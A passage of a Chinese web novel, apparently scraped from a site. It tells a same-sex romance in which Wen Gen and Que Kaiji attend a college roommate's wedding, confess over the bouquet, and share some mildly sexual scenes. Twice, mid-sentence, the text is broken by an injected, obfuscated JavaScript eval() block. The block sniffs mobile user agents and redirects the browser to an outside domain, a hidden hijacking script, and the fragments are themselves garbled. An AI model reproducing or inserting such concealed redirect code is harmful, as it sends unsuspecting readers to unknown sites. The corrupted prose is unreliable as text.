“他不是本地人,婚礼在三号办,我们需要一号晚上就出发过去,四号才能回来。” 阕开霁:“现在还买得到票吗?” 闻根打开手机看了一眼:“经济舱还有票。” 他问阕开霁,“我给你订上?” “我自己订吧。” 阕开霁拿出手机订票。 想到阕开霁真的会和自己一起去参加室友婚礼,闻根心情不错,他翘着嘴角兴致勃勃建议:“那我们一号去给他们挑结婚礼物?” 阕开霁:“行。” 国庆前一天,下了班闻根先回爸妈家里一起吃了顿饭,面对爸妈国庆要去做什么的询问,他一五一十:“大学室友结婚,明天去给他挑婚礼礼物,后天就飞他家那边一起准备婚礼。” “几号回来啊?” 闻根:“七号吧,我和……他,在那边玩几天。” 闻父闻母又不说话了。 闻根埋头吃饭,又莫名其妙走神,觉得现在这个场景有点像自己还在喝中药时和阕开霁的交流场景。 爸妈现在很像自己,听到不想听的就装没听到,一言不发。而自己有点像阕开霁,明知道对方在逃避,还是要刻意提起看对方反应。 原本还有些对做了爸爸妈妈不喜欢的事情后的内疚,却在想到阕开霁之后,添了几分确定。 虽然内疚让爸妈失望了,但他喜欢阕开霁,不会改的。 = 阕开霁和闻根在外面逛了一天,说是挑新婚礼物,其实很快就挑好了要送给新人的毛绒摆件——是一颗毛茸茸的种在盆栽里的白菜,可以分开变成花盆、泥土、小石子、白菜,也可以自己组装做出不同的效果。 挑之前闻根觉得毛绒摆件很不正式,拿出去当礼物不合适,但是玩了一会儿后,甚至想买一个回家自己玩。 不过本来就是给室友挑的新婚礼物,自己再买一个回家玩好像就让这个礼物失去了唯一性。闻根有些犹豫。 这时候,阕开霁拎着新挑选的玩具走过来,放在他的购物筐里。 — ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812257|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —同样的毛绒摆件,不过这个是鱼缸摆件,里面有小鱼小虾海藻,甚至还有个毛茸茸的鱼竿。 阕开霁把鱼缸放进去,自顾自拿出鱼竿一甩,左右晃晃,把鱼缸里那只银色小鱼钓上来。 闻根呆呆看着阕开霁动作。 阕开霁把小鱼从鱼竿上取下来,拎着毛茸茸的鱼竿再次一甩。 钩子甩到闻根衣领上。 阕开霁微微用力。 明明就是个没有任何抓取效果的鱼钩,但闻根神使鬼差的,就跟着这个毛绒鱼钩的方向,朝阕开霁走过去。 = 回家后简单收拾,两人就出发去机场。 八点下了飞机,见到来接他们的室友。 室友刚得知闻根喜欢的人是个男人时,想不明白自己身边最老实死板看上去最人夫的闻根怎么就突然赶时髦喜欢男人了,抱着一点紧张和兄弟义气,让闻根把人带过来看看。现在见到闻根,才发现不过一年多,闻根也变了不少。 不再是一成不变土里土气的黑框眼镜,透明边的镜框没什么存在感,衬得很有书生气。身上依旧是白T黑裤,但看上去就是和之前不一样了,倒是看上去和自己女朋友给自己搭配的衣服差不多。一眼看过去把闻根衬得腰细腿长,他一时居然没认出来。 ——是的,他一开始甚至没认出来闻根,是在门口等待时一眼看到人群里最高的那个人。 应该是个外国人,非常高,打扮得非常潮流,潮流得让人怀疑他身后随时随地有人举手机拍摄,然后发到网上当穿搭教程。 室友没觉得好看也没觉得难看,就是盯着那头长卷发,思考对方是男生还是女生。 就这么想着呢,发现这个外国人身边站了个正常身高的人,正朝自己挥手。 室友甚至这时候都没认出来闻根,直到闻根带着阕开霁走到他面前,才意识到原来带着透明眼镜看上去很不一样的人是闻根,而闻根身边这个人…… 闻根给他们互相介绍:“这是王何钧,我大学室友。” “这是阕开霁,我……” 闻根抿了抿嘴,终于有机会说出这句话:“我喜欢的人。” 50.第 50 章 当天王何钧和女朋友请他们吃了饭,第二天就开始忙着布置婚礼现场、试穿伴郎服。 闻根作为伴郎也被简单做了个造型。 化妆师围着他上上下下左左右右弄了好一会儿,给他修剪了头发又修了眉毛。最后扶着他的眼镜看他:“明天方不方便换上隐形眼镜?到时候拍照啊什么的也更好看一点。” 闻根自己其实是无所谓的,但听到这句话犹豫了两秒,说:“我想想。” 回去就问上阕开霁了:“明天带隐形眼镜,可以吗?” 还知道来问自己,原来也知道上次带隐形眼镜做了错事。 阕开霁大发慈悲:“带吧。” 他甚至主动拿出手机,给闻根外卖买隐形眼镜。 闻根又提出异议:“我自己不会带。” “我给你带。” 闻根先是点头,又紧张兮兮:“但我明天要起很早。” 这是什么话。 阕开霁问:“我是明天就死了吗?” 闻根疯狂摇头。 阕开霁不解:“那你明天起很早又怎么了?我给你带上再睡呗。” 他说得理直气壮自然而然,好像他们本来就应该非常亲密,不用因为这些小事纠结。闻根也就开开心心定下闹钟,睡了。 第二天一大早醒来,把阕开霁戳醒给自己带隐形。 他怕灯光刺到阕开霁的眼睛,没敢开大灯,只开了个昏暗的床头灯,趴在床头小心翼翼戳阕开霁。 阕开霁一睁开眼,只看到黑暗房间里一双黑漆漆的眼睛,随后才感觉到胳膊被戳了一下,也是轻轻的,好像被小鱼用尾巴拍打了一下,倒也不疼,就是存在感十足。 闻根看到他睁眼,马上收了手,把眼镜递上去。哪怕昨天阕开霁已经答应了,现在硬是把人戳醒给自己带眼镜也很不符合他为人处世的标准,所以说话时还是有些不好意思:“给我带一下眼镜。” 阕开霁眼睛还没完全睁开,先接过他的隐形眼镜和工具,干脆也就没起,就着这个姿势把闻根揽过来按在自己胸口。 扣住自己脑袋的手宽大有力,带着刚睡醒时的热气。闻根几乎要被烫熟了,根本生不起反抗的力道,就跟着趴到阕开霁的胸口,感觉到下巴处阕开霁一下下沉稳有力的心跳。 阕开霁也没开灯,撕开包装对着昏暗光线看了会儿,才把隐形眼镜拿出来。他又撸了下闻根的头,这才扒开他的眼皮,声音带着刚睡醒的哑意:“看我。” 都不用他说,闻根一直在看他,根本移不开视线。 阕开霁扒着眼皮,手疾眼快把隐形眼镜戳进去。 有点凉,刚睡醒的闻根控制不住溢出生理性泪水,顺着阕开霁按在他眼角的指腹淌到手心里,温热湿润。 阕开霁突然就觉得没睡醒的朦胧散了大半。 他捻了捻指腹那点水湿,缓了会儿才去撕另一幅眼镜的包装。 闻根觉得他好像清醒了一点,絮絮叨叨说着些自己也不知道有用没用的话:“你今天不要打扮得特别好看啊。” 他想到昨天看到阕开霁行李箱里的一件暗红色衬衣,叮嘱,“千万不要穿红色,抢了新娘的风头。” 阕开霁扒开他另一只眼皮,闻言问:“我是女生吗?还抢新娘的风头。” 闻根当然最清楚他是不是女生,辩解:“我知道,但新郎的风头也不能抢。” 他看阕开霁,总觉得有点不放心,小声,“不要穿特别好看啊。” 阕开霁把这片隐形也戳进去,拍了下他的头示意戴好了。 又问:“好看的标准是什么?” 两只眼睛都清晰起来,眼前的阕开霁果然变大不少。 但可能是有过经验和准备,闻根没有上次那么惊讶,甚至觉得好像也没有变大很多。他依旧趴在阕开霁胸口,不舒服的眨眼试图习惯眼里的隐形眼镜,同时思考阕开霁的问题。 好看的标准是什么? 他不太知道,因为他一向是个非常没有审美的人。 甚至于现在想到这个问题,第一时间浮现在脑海里的,是阕开霁。 阕开霁的所有打扮,在他眼里都是好看的。只是风格不同时是不一样的好看,完全没有不好看的时候。阕开霁本来就身材好长得足够吸睛,随便穿穿都很好看,到时候多多少少肯定会抢走婚礼主人公的风头的。 闻根有些气馁,怔怔看着阕开霁,不知道如何作答。 阕开霁有点受不了的按着他的头,凑过去亲他:“赶紧起来。再这么看我就不让你走了。” 闻根后知后觉感觉到什么,赶紧从阕开霁身上爬起来,告诉阕开霁:“我现在出发,中午十一点给你叫车,你记得去啊。” 阕开霁懒懒应:“嗯。” 看闻根要出门了,又叮嘱:“别让别人给你换衣服,不然钉子就藏不住了。” 闻根□□一酸,匆匆应:“好。” = 去换衣服简单做了妆造,然后就出发接亲。 闻根做不来活跃气氛的事,就死命塞红包。好不容易进房间了,又费了很大功夫找到婚鞋。新郎拿到婚鞋,半跪下给新娘穿上。 红色的高跟鞋套在新娘脚上,穿好后新郎非常自然拍了下新娘脚踝:“好了。” 闻根看着这个动作短暂失神,想到早上阕开霁给自己戴好隐形眼镜后拍的那一下。 早上他是当事人,只觉得这一下轻轻的一点都不疼,现在作为旁观者,后知后觉咂摸出那么一点亲密来。 套上婚鞋接上新娘就可以出发了。 路上闻根些许失神,到了婚礼现场后下意识去寻找阕开霁。 阕开霁已经到了。 他确实穿得非常朴素,就是最普通的白衬衣黑裤子,但他的白衬衣也没有特别难看的,纽扣是圆圆的贝壳材质,在阳光下闪着自然的七彩光。闻根甚至注意到他的头发短了很多,半长不短最长的地方才到肩膀,没有头发吸引注意力,所有人一眼看过去都会先看到那张非常帅气的脸。 他就在自己大学同学那一桌坐着,此刻正偏头和大学班长说着什么。明明什么的没做,但闻根一眼看过去只能看到他。 新郎这时候已经紧张得什么都无法思考了,反倒是新娘拿着捧花,和闻根确定:“等会儿是把捧花丢给你吗?” 新郎是说会把捧花黑幕丢给自己,让自己拿着捧花和阕开霁表白。但闻根没怎么抱期待,毕竟拿着捧花的是新娘,自己虽然和新娘也算熟悉,但也只是熟悉,闻根以为新娘会优先把捧花丢给伴娘。 现在听新娘这么问,闻根问:“不给伴娘吗?” “伴娘现在都没结婚打算,都不要。” 新娘确定,“到时候你站前面一点,我扔给你吧。” 闻根感激:“好。谢谢你。” 仪式正式开始。新人入场,身后的大屏幕开始播放他们从初识到现在的一点一滴,两位新人看得眼泪汪汪,而作为见证他们一路走来的闻根,也颇为感触。 虽然在这种时候频频走神非常不合适,但闻根还是忍不住想到阕开霁。 ——在认识阕开霁之前,他很少拍照,相册里都是些知识点或者工作文件截图,偶尔拍张照片也都是路边的树、天上的云。也就是遇到阕开霁之后,偶尔出去玩阕开霁会拿起手机拍照,他也跟着拍。从一开始没构图对不上焦拍得很难看,到现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818098|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至能被阕开霁征用加进当日vlog里。久而久之手里相册里都是和阕开霁一起出去玩时拍的照片,想来也能剪一个这么长的视频——如果自己和阕开霁有婚礼的话。 不过刚认识时没什么合照,可能需要去阕开霁的vlog里截一些…… 不知不觉间仪式结束。新娘要开始扔手捧花了。 司仪刚cue了流程,大家往台下涌抢占位置,新娘回头看了眼闻根,闻根对新娘点头,挤到人群前面。 阕开霁没打算抢,在座位上老神在在坐着寻找人群中的闻根,却发现闻根一脸坚毅站在人群最前面,满脸都是对捧花的渴望。 ? 阕开霁也走过去。 新娘背对着大家,在脑海中确定刚刚闻根站着的位置,把捧花举高朝着那个方向轻轻一抛。 但到底背后没长眼睛看不清具体位置预估错误,捧花划过优美的曲线,朝闻根旁边的位置飞过去。 不知道周围其他人到底有没有要捧花的念头,但现在站在这里了,都表现出一副跃跃欲试要抢的样子。看到捧花飞过来,闻根旁边的人跳起来要去接,闻根有点紧张,也跟着伸长手臂去捞。 两只手捧在一起,谁也没抢到捧花,反而把花束拍到后面位置。 感觉到花束往后飞,闻根心里一惊,仓促就要往后追。 回过头才发现那束花马上就要落下了,底下无数只伸着要去接的手,这时候,一只手伸长,牢牢抓着花束,顺着花束砸过来的力气,后退两步远离人群。 闻根看到花束上那只大手,顺着才看到阕开霁。 新娘扔完捧花转身来看,发现闻根怀里空荡荡没抢到花,下意识去看到底是谁抢到了,而顺着花束看到抢到花的人,嘴角没忍住勾起一抹笑意。 司仪招呼抢到捧花的人上前致辞,阕开霁拿着捧花一步步走过来,路过台下呆呆的闻根时,扫了他一眼。闻根到时没动,只是眼珠子跟着阕开霁,从人群后面到台上。 阕开霁先表达了自己抢到捧花的激动心情,随后就刚刚大屏幕上播放的内容说了些祝福新人的话,虽然完全没准备,但说得情真意切。闻根听到身后有人小声说着些什么,但根本没工夫管,耳朵里都是阕开霁的声音。 阕开霁说完,婚礼仪式算是彻底结束了,司仪通知大家可以安心享用美食了。于是涌在一起的人就散了,只剩下几个女生还站在原地,依旧小声说着什么。 阕开霁拿着捧花走过来,站在闻根身边,高高在上看着闻根。 闻根先看他,又看他手里的捧花。 阕开霁把捧花递过来,嗤笑:“这么想要,急着结婚啊?” 马蹄莲和蝴蝶兰为主的水滴形花束很有分量感,在半空里飞了一圈后有点乱,最底下那朵蝴蝶兰有片花瓣折破氧化了。 闻根小心翼翼摘掉氧化的花瓣放到口袋里,再认认真真把弄乱的花束整理好。 在阕开霁越发冰冷的视线中,他把整理好的捧花递过去:“我想抢来送给你。” 阕开霁看重新递到自己手里、非常完美好看的花束,再看闻根。 闻根小声加上后面那几个字:“表白。” 阕开霁还是没接。 毕竟说着要自己抢到拿给阕开霁表白,结果还是阕开霁抢到给自己的。闻根不好意思,瓮声瓮气:“本来说直接扔给我的,我没抢到。” 他又把花束往前递。 阕开霁还是没接,甚至又把花往他这边推了推。 闻根心下一沉,目光失落下去。 阕开霁把花推到闻根怀里,收回手,矜持:“好好说。” “表白的话,就从头好好说。” 50-56 第51章 吃完饭咱们来比比大小 婚礼现场, 酒店精心制作的餐□□致豪华,宾客大快朵颐享受美食,新人换了礼服来给亲友敬酒。 而角落里,两个男人间隔一米面对面站着。 阕开霁表现得非常矜持, 看上去好像一点都不期待。实际上目光紧紧盯着闻根, 灰蓝色眼睛好似融化的春水, 几乎要漾出来。 而被他这么看着的闻根紧张到根本没敢抬头看阕开霁。他没想到自己真能抢到花, 没想到是阕开霁抢到送给他的, 更没想到现在还要从头开始说, 脑子里面乱乱的,一时都不知道哪儿才是头。好一会儿, 他深吸一口气, 重新把花递出去, 结结巴巴万分紧张:“那个……” ——就被阕开霁揪住把柄了:“那个是谁?” 装死的小鱼被揪住尾巴剖开仔细观察。 闻根窘迫又害羞, 但诚恳小声回答:“是你。” “我是谁?” 好像幼儿园被引导着说出答案的小孩, 闻根一板一眼回答:“阕开霁。” “接着说。” 闻根就接着说:“我……我喜欢你。” 阕开霁没说话。 闻根鼓起勇气抬头看,看到阕开霁矜持的把目光落在他手里的花束上。 闻根连忙把花递过去。 阕开霁接过捧花:“我知道了。” 知道了是什么意思? 闻根仰头看阕开霁。 却看阕开霁把花重新递过来:“我喜欢你。” 闻根没动。 阕开霁:“你的答案就是我的答案。” 闻根猝然抬头, 还没看到阕开霁, 身体却反应很快,几乎是把阕开霁手里的花抢过来拿好。 迫不及待的动作已经足够说明他的答案。 阕开霁眼里笑意渐深。 而闻根握紧花束,好像这才后知后觉意识到自己的急迫。他试图让自己缓下来, 像阕开霁这么矜持,但一旦缓下来只会显得呆呆的, 一字一句告诉阕开霁:“那我们……在一起吧。” = 婚礼进行到后半截,大家自由走动,其中一个伴娘提着礼服,询问同伴:“刚刚抢捧花的那个男生, 是新娘朋友吗?” “不是吧,我不认识,也没听说过她有外国朋友啊。咋啦,爱上了?” “爱上了,又高又帅,我真的会心动!” 伴娘一边和同伴说话,一边左顾右盼试图在人群中找到刚刚那个人。因为对方过于优越的身高,她根本没花多少力气就找到角落里的对方,同时看到对方身边穿着伴郎服的闻根。 “咦,正在和伴郎说话,是新郎那边的朋友吗?” “应该是吧,要不等会儿问问,这个伴郎性格很好还挺好说话的,应该会告诉我们。不过他抢捧花耶,正常男生都不会想着抢这个吧,他是不是有女朋友了?” “确实有这个可能……” 想到对方可能有了女朋友,伴娘有些沮丧的样子,“这么帅的人单身的可能确实有点小。” 同伴安稳:“但万一呢,问问。” “好!” 伴娘握拳给自己力量,拎起裙摆就要过去询问。 目光所及之处,对方低头,亲了下那位性格好很好说话的伴郎的眼睛。 …… 伴娘这才看到,原本被对方抢到的捧花,不知道什么时候跑到伴郎手里。 她默默回到原地,低头整理裙摆,摆出一副很忙的样子。 一偏头,同伴和她一样,忙着低头整理裙摆,实际上手在裙子里抚来抚去,只摸到空气。 两人对视,又很快转移视线,许久后,尴尬:“我就说嘛,这么帅的人怎么可能单身 。” “抢花当然就是送给女……男朋友的嘛。” = 而角落里,闻根和阕开霁面对面看着对方,失去所有动作变成木头人一样,一动不动。 良久,还是酒店工作人员来询问他们有什么需要帮助的,才总算是解除了封印。 吃完午饭,其他宾客陆续都离开了,作为伴郎的闻根还要跟着新人去婚房热闹热闹。阕开霁先行回去,就把花也一起带回去了。 闻根又跟着忙了许久,一直到晚上八点多才回酒店。 结结实实在外面跑了一天,他浑身酸疼,回去的路上想着回到酒店自己就要好好休息。但真到了酒店,想到房间里的阕开霁,心脏就怦怦跳,跳得他都忘了这一天的辛苦,脑海里只不停回荡着自己和阕开霁的对话,脸越来越热,好像又回到刚喜欢上阕开霁的时候,想到能遇到对方心里就紧张又期待。 离房间越近他就越紧张,甚至控制不住拿出手机给阕开霁发信息,告诉他:“我回来了。” 阕开霁没回复他,倒是过了半分钟,房间门推开,阕开霁倚门看过来。 闻根的脚步越来越快,但真到了两米内的距离,又放慢脚步,莫名扭捏起来。 跟咬了钩子猝不及防被钓到半空中的小鱼一样,惊慌失措左顾右盼想找到熟悉的东西给予安全感。 阕开霁没帮忙解围,也没催促,就这么看着闻根,心想他之前误以为自己是女生时,见到自己也是这样的吗? 于是那些过去就在脑海里一幕幕闪过。 刷到那条图文时想要评论却发现自己被拉黑时的不满,换了号逗弄却发现对方好像听不懂不知道对方是在玩抽象还是真不懂的疑惑,搬家后见到邻居的第一眼…… 那时候只是搬了家,以为新邻居也会和之前那些邻居一样,因为作息不同工作不同,一年见不到一面。第一眼看过去,只觉得就是个最普通的社畜,老土难看的衬衣下脖颈线条好看,很适合戴项链。 而现在…… 闻根在他面前站定,脖颈上挂着银色链子,隐入T恤底下。 他知道,链子上坠着自己给他打的戒指。 过去和现实终于重叠在一起,阕开霁看闻根泛着涟漪的眼,控制不住伸手。 闻根注意到伸过来的这只手,下意识就要伸手去牵。还没完全抬起来,就看阕开霁那只手放到自己脖子上,手指一弯勾住他脖颈上的银链,把隐在T恤下的戒指掏出来。 刚开始带这条项链时不习惯,总觉得沉甸甸的不舒服,但喜欢,光是阕开霁亲手给自己打的就足够闻根喜欢到一直都不摘了。带得久了也就习惯了,日常放在T恤底下用体温温着,没什么存在感,但每次在闻根想到这条项链时,都会因想到阕开霁而心情愉悦。 现在戒指被阕开霁掏出来,戒指还带着温度,反而是T恤贴到身上,泛着凉意。 阕开霁捏紧那枚还带着闻根体温的戒指,微微用力。 闻根就像咬钩的小鱼,跟着这个力道被钓出去,甩出水面落到阕开霁手里。 阕开霁反手关上门,把这只小鱼困在自己和房门之间。 哪怕有了上次的经验,这次带隐形眼镜看到的东西没有上次那样大到离谱,但阕开霁在他眼里也还是大了一圈。现在像另一扇门,让他进退不得,只能紧张等阕开霁动作。却又因为这点进退不得,动作间流露出任阕开霁为所欲为的忍让顺从。 阕开霁就毫不留情的剖开这条软塌塌笨笨呆呆的小鱼,细细品尝。 透过阕开霁宽得看不到边的肩膀,闻根看到茶几上摆着个阔口高花瓶,手捧花插在里面,依旧新鲜美丽。 阕开霁没尝太久,手倒是伸到衣服底下玩了会儿带着钉子的地方。 闻根腿软到站不住,但被夹在门和阕开霁之间,刚顺着门板往下滑了点,阕开霁就把腿顶过来,蹭着他抵在门上。闻根腰眼一酸,就坐到阕开霁大腿上了。 隐形眼镜不会起雾气,甚至在眼里起了水湿后,更加服帖。眼前所有一切的放大清晰,他甚至能看到阕开霁的虹膜,靠得太近,平时隐在灰色里的那点蓝格外明显,从瞳孔扩散出去,凛冽空寂的蓝,如同浩瀚银河。 阕开霁眨眼时,这片银河就陷入黑暗沉寂,他又能看到阕开霁长长的睫毛,以及薄薄眼皮上格外明显的紫色血管。 太细致了,好像能看清蝴蝶翅膀上的花粉。 闻根前所未有的沉迷,下意识想要保住自己的隐形眼镜。他决心今天不管发生什么,都表现出能分得清大小的样子,这样下次也就还能戴隐形,看到这么清晰的阕开霁。 但阕开霁率先退开了。 那点柔软退出去,闻根不明所以又失落,自己都不知道的时候,从鼻腔里挤出不乐意的哼声,本能挺胸跟着阕开霁,等待下一次接吻。 没尝到柔软湿热的嘴唇,反而是唇缝间被塞入了冰凉坚硬的什么东西。 闻根垂眸,发现阕开霁把自己项链上坠着的那枚戒指塞自己嘴里了。 阕开霁把玩着闻根身上的那颗钉子,还有被钉子穿得微微凸起的地方,目光沉沉看闻根。 闻根抿着那枚戒指,依旧是那副任人为所欲为的顺从模样。 阕开霁想了点脏的。但看着闻根水淋淋眼睛上那层浅蓝色隐形眼镜,还是退开了。 闻根居然隐隐有些失落。 阕开霁又捏了一下,看闻根眼里水汽更浓,心满意足。这次连手也一起收回来了,他整理好闻根的衣服,问:“吃晚饭了没?” 闻根摇头。 新人留他们在家一起吃饭,但他记挂着酒店的阕开霁,提前回来了。 “我买了东西,随便吃一点吧。” 没了手指抚摸的地方居然有些空虚,T恤布料粗硬而难受,哪儿哪儿都不对劲。 闻根忍受着仿佛从内心深处涌上来的空荡,被阕开霁牵到沙发上坐下。 阕开霁把外卖盒打开,又问闻根:“喝水吗?” 嘴唇还残留着被吻过的感觉,闻根干咽一口,点头。 阕开霁打开便利店的袋子,拎出水。 “喝这个五百毫升的。” “还是这个一点五升的?” 闻根:“……” 他没看水,只看阕开霁。 阕开霁掰着他的下巴让他的目光看向那两瓶水。 “别看我,看水。” “好不容易又带了次隐形,来吧,吃完饭咱们比比大小。” 第52章 男朋友 一顿饭吃得像断头饭, 但要说全是紧张和抗拒也不尽然,闻根隐隐有种自己都觉得诡异的紧张和期待。 他想,自己现在有了准备,一定不会再像上次那样失态了。 吃完饭, 他抿了两口绿茶饮料。 是纯绿茶的, 一口咽下去口腔中还残留着淡淡涩味, 闻根正思考接吻时会不会被阕开霁尝到这点涩味, 阕开霁就伸手握住他的手腕, 把饮料合上盖子放到桌上, 随后揪住他的肩膀。 小鱼被整个拎起来丢到床上。 酒店的大床柔软宽阔,这一下砸下去, 闻根感觉到床垫上下晃了晃, 他下意识要扶眼镜, 但只摸到自己带着温度的眼皮。 阕开霁把他丢到床上的动作紧急而迫切, 自己却转返回去, 拎着那五百毫升和一点五升的矿泉水,慢条斯理走过来。 闻根:“……” 阕开霁把水放到床头, 让闻根看:“很难分辨吗?” 闻根:“……” 其实哪怕是现在, 已经有了心理准备,乍一看到这两瓶水,他也还是觉得五百毫升的那瓶很大, 比他戴着眼镜时看到的大了那么多。不过现在旁边放这个一点五升的,差别还是很明显的。 闻根老老实实摇头, 万分配合。 ——他一直都非常老实。 但随着阕开霁的动作越来越过分,也就渐渐配合不起来了。 = 到底是个假期,明天还有出行需要,阕开霁也没做什么, 就是拉着闻根的手,掰着下巴让他看,让他从各个方面好好感受了下大小。 在他的威胁下,闻根不得不承认,没有一点五升,没有五百毫升,非常迷你。 ——说出迷你二字时,他心虚到害怕,甚至觉得说出自己违心的话,下雨天都会有雷劈自己。 但不说的话,面前的阕开霁可能会当场用这个把他劈开。 他还是违心说了。 阕开霁得到想要的答案,宽宏大量放开他。仿佛最严格的教师,终于教会了留堂的笨学生比大小,于是宽容赦免了他留堂补课的惩罚。 饶是这样,第二天闻根还是有点虚。早上阕开霁起床点了外卖去洗漱换衣服,他还赖在床上不肯起。 阕开霁换了外出的衣服,并打开闻根的行李箱找出他今天要穿的衣服、还有用作搭配的帽子、包。 回头一看,闻根正正经经躺在床上盯着天花板发呆。 他走过去,给闻根带上框架眼镜:“起来吧,我们今天先在市区逛逛,明天去爬山。” 眼前清晰起来,所有的东西都变小了,就连床头那两瓶大小不一的矿泉水也都小了不少,闻根莫名有点恍惚,然后又想到了和昨晚矿泉水用作对比的某种东西。 后腰突然一酸,手心也跟着烫起来。 但阕开霁都说到这里了,只能起床换上衣服洗漱,简单吃了点东西,两人就出去玩。 在市区里逛了逛几个著名景区,中午尝了室友推荐的本地老菜馆,甚至晚上还尝试了当地博物馆推出的剧本杀。夜晚的博物馆阴深恐怖,人一少更显得阴气沉沉,闻根一直自诩坚定唯物主义,但当时被吓得脑子很木,什么都想不到,只能紧紧跟着阕开霁。 一直玩到后半夜才回去,从博物馆出去的时候已经四点多了。这时候没有公共交通,博物馆太远出租车也要等很久,闻根又累又困,还因为刚刚太吓人没缓过来,呆呆站在阕开霁身边,只会说:“怎么办啊?” 身边突然有亮光闪了下。 闻根刚刚被吓得现在还绷紧神经,意识到这点光线,一惊一乍,惊恐看过去, 目光所及之处,阕开霁查看拍到的照片,满意叉掉相册。 他扫了辆路边的共享电车,招呼闻根:“坐上来。” 闻根这时候都迟钝得像做梦了,居然还依靠这么多年遵纪守法的本能提出异议:“这是共享单人车。” 阕开霁点头。 又问闻根:“你会自己骑吗?” 闻根摇头。 他的出行范围很小,就算要去远一点的位置,小时候也要爸爸开车送。所以他不会骑自行车不会骑电瓶车,就连驾照,也是大学有了车后才开始考的。 阕开霁:“那坐上来。” 他又往前坐了坐,给闻根空出位置。 闻根在原地想了想,最后坐上去。 毕竟是单人共享车,座位就那么大,哪怕闻根已经贴得很紧了,也还是感觉到自己的尾椎悬在外面。他只好紧紧抱着阕开霁的腰,严丝合缝贴上阕开霁的后背。 胸前的钉子很有存在感,他还感觉到阕开霁的头发扫过自己的脸,带起很香的味道。不仅是阕开霁身上一贯的甜桃香,还有在博物馆这么久沾上的凛冽的、说不出的空寂感觉。 阕开霁拧开车把,电瓶车开始往前走,速度很慢。 但秋天的夜风还是卷过来,带来丝丝凉意,闻根还没来得及感觉到冷,就被阕开霁的温度暖热了。 这时候的道路空荡寂静,一开始还有些和他们一起从博物馆出来的玩家,走了一会儿后其他人也都不见了。只有路边枝叶枯黄的高大树木,亮着的路灯,还有身边的另一个人。 闻根慢慢把脑袋放在阕开霁肩膀纹身的位置上,眼皮渐渐往下滑。 他想到那天晚上和自己坐在阕开霁摩托车后座去吹风,那时候他以为自己的愉悦是来自于反叛过去做自己没做过的事情、感觉到陌生的肆意和自由,因为过快速度产生的多巴胺和肾上腺素。但现在他们的速度慢吞吞的,他又困又累,依旧觉得很开心。 怎么会这么开心呢。 他眼皮彻底合上。 但阕开霁跟身后长了眼睛一样,突然叫他:“你别睡着了。” 闻根闭着眼,坚持:“我没睡。” 路口是红灯,阕开霁停下,反手捏了下闻根的下巴,然后摸索着来摸他镜片后的眼睛。 闻根挣扎着睁开眼。 阕开霁摸到睁开的眼皮,这才收了手,再次提醒:“别睡。” 闻根点头,问:“怎么不走了?” “红灯。” 闻根跟着抬头看红绿灯,告诉阕开霁:“我们现在已经违反交规了。” 阕开霁:“……” 闻根还要说:“骑单车也要带安全帽的。” 共享单车前面的车筐里就配着安全帽,但两人谁都没带。 阕开霁:“……” 闻根还是困,但忧心忡忡:“现在不会有交警吧?” 阕开霁再也忍不住,推开他的脸:“下去。” 闻根站起来,电瓶车就被阕开霁骑走了。他站在原地,愣愣看着阕开霁把车停到马路牙子上面,然后走过来:“走吧。” 路口红绿灯现在跳到绿灯,阕开霁牵着闻根的手:“走着回去,就不用担心遇到交警了。” 闻根:“……” 他讷讷,“这里离我们酒店多远?” “九公里吧。” 闻根:“……” 他被阕开霁牵着过了马路,看着自己和阕开霁牵在一起的手,理智和本能博弈,最后非常没有理智的想,九公里也没有很远,他们这样牵着手慢慢走,大概三小时就能走到了。 他也就没说话,跟着阕开霁慢慢往前走。 倒是阕开霁偏头看他,疑惑:“真愿意走啊?” 闻根握紧手里那只手,慢吞吞:“我们一起,就愿意。” 阕开霁再也忍不住,笑了。 = 俩人大概走了十分钟吧,遇到了软件上叫来的出租车。 但回到酒店也已经五点了。 用最后一丝力量洗漱,闻根倒头就睡。 第二天睁开眼就是下午三点。 房间一片昏暗,身边阕开霁还在睡,头发散得铺满枕头,闻根摸索着带上眼镜,小心翼翼拿开阕开霁的头发,侧身背对着阕开霁,把手机亮度调到最低保证不会影响到阕开霁,这才开始翻看。 昨天他洗完澡出来,阕开霁坐在沙发上剪视频,看到他出来,就放下手机先去洗澡,说洗完澡回来再剪。他原本打算洗完澡看阕开霁今日份vlog的,但躺在床上听着浴室里的水声,眼睛就再也睁不开了。 现在一醒来,哪怕眼睛被手机屏幕的光刺得难受,也还是点开小红书,从黑名单里找到Qamar,解除拉黑查看主页——对,虽然他现在已经知道Qamar就是阕开霁,也接受自己就是同性恋的事实,但Qamar还是躺在他的黑名单里。 主要是“不是深柜我真的崆峒”这个账号现在已经近两万的粉丝了。他都不知道为什么会有这么多粉丝,但就是有这么多人关注他,甚至每天都有人会询问他最近调理得怎么样了,神医开的药有用没用。 他唯一关注的“AAA中药世家继承人”这个账号,也跟着有了两千多粉丝。上次他在单位让阕开霁用这个号帮忙点赞,还有同事询问他中药世家继承人这个号为什么什么都没发,却有这么多粉丝。 闻根含糊说因为自己经常在网红评论区活跃,才有这么多人关注自己。到底没好意思说那个网红到底是谁。 总之因为这么多粉丝关注,再加上多多少少透露过个人感情问题,他有点担心自己关注Qamar之后,神通广大的粉丝会把阕开霁的马甲一起扒掉。平时不知道怎么办时去网上寻求帮助也就算了,他到底不太习惯把自己的事情全部放到网上给网友看,也不想网友知道阕开霁的事情。 